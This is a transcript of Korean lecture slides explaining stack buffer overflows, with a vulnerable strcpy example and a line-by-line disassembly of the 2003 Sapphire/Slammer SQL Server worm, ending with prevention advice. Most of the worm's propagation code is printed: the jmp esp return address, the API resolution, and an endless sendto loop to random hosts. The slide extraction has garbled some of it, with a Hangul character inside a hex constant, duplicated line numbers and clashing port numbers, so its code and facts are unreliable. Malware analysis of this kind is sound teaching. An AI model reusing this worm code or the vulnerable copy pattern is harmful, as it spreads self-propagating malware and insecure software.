시스템 보안 실습

Download Report

Transcript 시스템 보안 실습

시스템 보안 -3
Buffer Overflow Attack
2004.7.12
김윤삼
Buffer-Overflow Attack의 발생

함수의 호출및 리턴
Main
Function F
.
.
.
.
.
.
.
.
Call Function F
.
.
.
How To?
Buffer-Overflow Attack의 발생

스택




프로그램 수행에 필요한 메모리 공간
프로그램 내 정의된 변수 공간
호출 함수의 수행해야 할 위치 (리턴주소)
호출시 전달인자
Buffer-Overflow Attack의 발생

버퍼 오버플로우 공격



함수에서 문자열 복사시 경계조건 검사를 하지
않는 경우 발생 가능.
리턴 주소의 변경→ 정상적이지 않은 곳으로
이동.
변경된 리턴주소에 악성 코드 존재시
악성 코드 실행
 최악의 경우 해커의 root권한 획득.

Stack의 구성 및 오버플로우의 발생
0XFFFFFFFF
호출 함수의 전달 인자
호출 함수의 리턴 주소
스
택
의
증
가
방
향
ebp
이전 호출 함수의
프레임 포인터
호출 함수의
Stack Frame
호출 함수의 지역변수
이전 호출 함수의 레지스터
함수의 전달 인자
함수 리턴 주소
호출 함수의 프레임 포인터
(ebp 값)
esp
지역 변수(웜이 동작)
호출 함수의 레지스터
0XFFFF0000
피호출 함수의
Stack Frame
스택의 구성
Stack의 구성 및 오버플로우의 발생
호출 함수의 전달 인자
호출 함수의 리턴 주소
이전 호출 함수의
프레임 포인터
문
자
열
증
가
호출 함수의 지역변수
이전 호출 함수의 레지스터
(이 부분 이상도 덮어씌워질
수 있음.)
악성 코드의 시작 주소
악성 코드의 시작 주소
(함수 종료 후 악성코드 실행)
악성 코드의 시작 주소
악성 코드
호출 함수의 레지스터
스택 오버플로우의 발생
Buffer-Overflow의 예
#include <iostream.h>
#include <string.h>
void function(char *str);
int main(void)
{
char str[100];
cin.getline(str,100);
function(str);
cout<<str<<endl;
return 0;
}
void function(char *str)
{
char buffer[10];
strcpy(buffer,str);
}
Buffer-Overflow의 예

정상적인 수행
Buffer-Overflow의 예

버퍼 오버플로우의 발생
Buffer-Overflow - Saphire Worm

2003.1.25 발생

MS-SQL의 프로그램 상의 문제점을 이용

웜의 실행(MS-SQL내의 취약점.)

MS-SQL내의 Keep_Alive 함수 이용.




버퍼 오버플로우를 발생시킴.
sqlsort.dll의 jmp esp 명령을 실행시킴
MS_SQL에서 막대한 트래픽 발생.
트래픽의 증가에 의한 인터넷 마비
Saphire Worm
Monitoring
Thread
리턴 주소
프레임 포인터
지역변수
0X04로 시작할 경
우 Hooking
패킷 전송자
Instance 생존
질문 패킷
질문 패킷에 대한 응답
Monitoring Thread의 동작
Keep_Alive
Registry
Open에 필
요한 부분
리턴 주소
프레임 포인터
지역변수
Registry Open에
필요한 부분 이외
의 패킷 부분
Saphire Worm
Sqlsort.dll
(42B0C9DCh)
42B0C9DCh
쓰레기 값
쓰레기 값
Monitoring
Thread
jmp esp
0X04로 시작하고
문자열이 길 경우
패킷 전송자
Keep_Alive
리턴 주소
프레임 포인터
Worm Body
웜 동작!!!
Worm의 실행
Sapphire Worm의 구성

네트워크 상에서의 Worm의 구성
Garbage
(0X401010…)

Worm 실행을 위한 명령어 주소
(42B0C9DCh )
Worm Body
버퍼 오버플로우 후 최상부 스택의 구조.
esp
ebp
Worm 실행시
사용되는
메모리 공간
Garbage
Worm에 의하여 다른
곳으로 전파되는 부분
Worm에 의하여 기록
Worm 실행 주소
Worm Body
Monitoring Thread가 기록
Sapphire Worm의 진행
1
모니터링 쓰레드에 의하여 분리된 부분 삽입.
1-1
변경된 리턴 주소 값 저장
1-2
쓰레기 값 저장.
2
Worm 전송을 위한 준비 단계
2-1
Worm전송에 필요한 dll파일 및 함수의 스트링값 저장.
2-2
함수의 주소를 알기 위해 GetProcAddress() 주소 획득.
2-3
임의의 주소로 전송을 위해 GetTickCount값 획득.
2-4
포트 설정(1434, AF_INIT)
2-5
Socket 함수 호출 및 sendto 함수의 주소값 획득.
3
Worm의 전송
3-1
임의의 주소 생성(GetTickCount 이용.)
3-2
sendto함수에 필요한 값 저장
3-3
Worm의 전파(무한히 반복.)
Sapphire Worm의 분석 – (1/9)
1.
2.
3.
4.
push 42B0C9DCh
;return address. Sqlsort.dll -> jmp
esp
mov eax, 01010101h ;buffer-overflow를 위한 garbage
xor ecx, ecx
mov cl, 18h
; fixup_payload의 반복횟수는 24회
fixup_payload:
5.
push eax
7.
loop fixup_payload
xor eax, 05010101h
8.
push eax
6.
; worm을 위한 준비단계
; 버퍼에 쓰레기 값 채움. 전파후의
;buffer-overflow시 사용.
; 0x01010101 xor 0x05010101
;=0x04000000. Monitoring thread 실
; 행시키기 위해 채움
Sapphire Worm의 분석 – (2/9)
9.
mov ebp, esp
10.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
push
push
push
push
push
push
push
push
mov
push
;ebp에 esp를 삽입. 이유는
; esp의 경우 push와 pop등에 의하여 값이
; 변화하기 때문에 상대주소를 지정하기 힘듦.
ecx
6C6C642Eh
32336C65
6E72656Bh ;스택에 문자열 ‘kernel.dll’ 삽입.
ecx
746E756로
436B6369h
54746547h ;스택에 문자열 ‘GetTickCount’ 삽입
cx, 6C6Ch
ecx
Sapphire Worm의 분석 – (3/9)
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
push 642E3233h
push 5F327377h ;스택에 문자열 ‘ws2_32.dll’ 삽입
mov cx, 7465h
push ecx
push 6B636F73h ;스택에 문자열 ‘socket’ 삽입
mov cx, 6F74h
push ecx
push 646E6573h
;스택에 문자열 ‘sendto’ 삽입
mov esi, 42AE1018h ;42AE1018h는 sqlsort.dll의 import
;address table중 LoadLibrary의 시작 위치.
;IAT에는 sqlsort.dll에 있는 함수들의 시작
;위치가 들어있음.
lea eax, [ebp-2Ch] ;eax에 문자열 ws2_32.dll의 위치 입력
push eax
;LoadLibrary의 인자로 사용.
Sapphire Worm의 분석 – (4/9)
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
call dword ptr [esi]
;LoadLibrary(ws2_32.dll)
push eax
;결과값 저장.
lea eax, [ebp-20h]
;문자열 GetTickCount 시작위치
push eax
lea eax, [ebp-10h]
;문자열 kernel32.dll 시작위치
push eax
call dword ptr [esi]
;LoadLibrary(kernel32.dll)
push eax
mov esi, 42AE1010h ;42AE1010h는 sqlsort.dll의 IAT 시작
;위치. MS-SQL SP2와 SP3에만 해당.
mov ebx, [esi]
;IAT의 첫번째 함수의 위치 저장.
mov eax, [ebx]
;IAT의 첫번째 함수의 첫번째 명령
;어의 위치
Sapphire Worm의 분석 – (5/9)
cmp eax, 51EC8B55h;버전 체크. MS-SQL SP2,SP3이면 IAT
;의 첫번째 명령어의 위치는 51EC8B55
43.
jz
short FOUNT_IT
44.
mov esi, 42AE101Ch ;최초 MS-SQL과 SP1에서의 위치
FOUND_IT:
45.
call dword ptr [esi] ;GetProcAddress(kernel32,
;GetTickCount)
46.
call eax
;GetTickCount()
47.
xor ecx,ecx19
48.
push ecx
;스택에 0을 저장.
49.
push ecx
50.
push eax
;스택에 GetTickCount 결과값 저장.
51.
xor ecx, 9B040103h
52.
xor ecx, 01010101h ; ecx = 9A050002(Port 1324,AF_INET)
42.
Sapphire Worm의 분석 – (6/9)
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
push ecx
lea eax, [ebp-34h]
push eax
mov eax, [ebp-40h]
push eax
call dword ptr [esi]
push 11h
push 2
push 2
call eax
;문자열 socket
;ws2_32 base address
;GetProcAddress(ws2_32,socket)
;socket함수의 호출에 필요한 인자들.
;socket(AF_INIT,SOCKET_DGRAM,
;IPROTO_UDP)
Sapphire Worm의 분석 – (7/9)
63.
64.
65.
66.
67.
68.
69.
70.
71.
push eax
;socket의 결과값
lea eax, [ebp-3Ch]
;문자열 sendto
push eax
mov eax, [ebp-40h]
;ws2_32의 base address
push eax
call dword ptr [esi]
;GetProcAddress(ws2_32,sendto)
mov esi, ebx
or ebx, ebx
;nop?
xor ebx, 0FFD9613Ch ;MS-SQL orignal과 sp1은 sp2,sp3
;와 IAT가 다르기 때문에 절대적인
;주소가 아닌 xor에 의한 값이 산출.
Sapphire Worm의 분석 – (8/9)
PSEUDO_RAND_SEND:
72.
Mov eax, [ebp-4C]
73.
Lea ecx, [eax+eax*2]
74.
Lea edx, [eax+eax*4]
75.
shl edx, 4
76.
Add edx, eax
77.
shl edx, 8
78.
Sub edx, eax
79.
Lea eax, [eax+edx*4]
80.
Add eax, ebx
81.
Mov [ebp-4Ch], eax
;IP 주소를 random하게 발생시킴.
Sapphire Worm의 분석 – (9/9)
82.
83.
84.
85.
86.
87.
88.
89.
90.
91.
92.
93.
94.
Push 10h
Lea eax, [ebp-50h]
;sock_addr structure
Push eax
Xor ecx,ecx
Push ecx
;flag = 0
Xor cx, 178
;payload의 크기(376)
Push ecx
Lea eax, [ebp+3]
;payload의 시작 위치
Push eax
Mov eax, [ebp-54h]
;sendto 함수의 시작 위치
Push eax
Call esi
;sendto(sock,payload,376,0,sock_addr
;struct , 16)
Jmp short PSEUDO_RAND_SEND
;무한 loop
Sapphire Worm의 분석 –
메모리 구조(1/3)
Ws2_32의 base
ws2_32.dll
LoadLibrary(ws2_32.dll)의
계산값
sendto
socket
ws2_32.dll
함수 호출에 필
요한 문자열들.
GetTickCount
주소 계산의 기준값
(esp)
kernel32.dll
0X04010101….
0X01010101
jmp esp
Worm Body
주소 값이 가장 높음
Stack 1
쓰레기 값 96Byte
Sapphire Worm의 분석 –
메모리 구조(2/3)
2
11h
Socket()에 필요한 인
자들
Ws2_32의 base
Socket의 시작 주소
0X9A050002
Port=1432 / INET
GetTickCount값
0X00000000
0X00000000
Sendto를 위한
sock_addr structure
Kernel32의 base
Kernel32.dll
GetTickCount의 시작 주소
Stack1
Stack 2
이전 페이지의 스택 구조
Sapphire Worm의 분석 –
메모리 구조(3/3)
메모리 주소 가장
낮음
Socket 결과값의 위치
Payload의 위치
178h
0
Sendto()에 필
요한 인자들.
Sock_addr의 위치
10h
Ws2_32의 base
Sendto의 시작 위치
Socket함수의 결과값
2
stack2
전체 스택 구조
Socket()에 필요한 인자들
Buffer-Overflow Attack의 방지

프로그래머

Strcpy등 버퍼 오버플로우 공격이 발생할 수
있는 함수의 사용을 피함.


Ex) strncpy
사용자 및 관리자


MS의 윈도우 업데이트를 필히 함.
불필요한 포트는 막아놓음.
포트의 조사 및 차단
포트의 조사 및 차단
포트의 조사 및 차단
포트의 조사 및 차단
포트의 조사 및 차단